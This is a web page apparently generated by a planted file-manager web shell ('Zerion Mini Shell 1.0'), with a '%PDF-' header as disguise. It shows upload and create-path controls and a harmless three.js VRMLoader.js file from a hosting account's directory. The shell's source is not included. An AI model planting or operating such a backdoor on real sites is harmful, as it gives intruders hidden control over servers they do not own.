%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/ai.rezakurnia.com/zh-router-frontend/node_modules/three-stdlib/loaders/
Upload File :
Create Path :
Current File : /home2/rezakur1/ai.rezakurnia.com/zh-router-frontend/node_modules/three-stdlib/loaders/VRMLoader.js

import { Loader } from "three";
import { GLTFLoader } from "./GLTFLoader.js";
class VRMLoader extends Loader {
  constructor(manager) {
    super(manager);
    this.gltfLoader = new GLTFLoader(manager);
  }
  load(url, onLoad, onProgress, onError) {
    const scope = this;
    this.gltfLoader.load(
      url,
      function(gltf) {
        try {
          scope.parse(gltf, onLoad);
        } catch (e) {
          if (onError) {
            onError(e);
          } else {
            console.error(e);
          }
          scope.manager.itemError(url);
        }
      },
      onProgress,
      onError
    );
  }
  setDRACOLoader(dracoLoader) {
    this.gltfLoader.setDRACOLoader(dracoLoader);
    return this;
  }
  parse(gltf, onLoad) {
    onLoad(gltf);
  }
}
export {
  VRMLoader
};
//# sourceMappingURL=VRMLoader.js.map

Zerion Mini Shell 1.0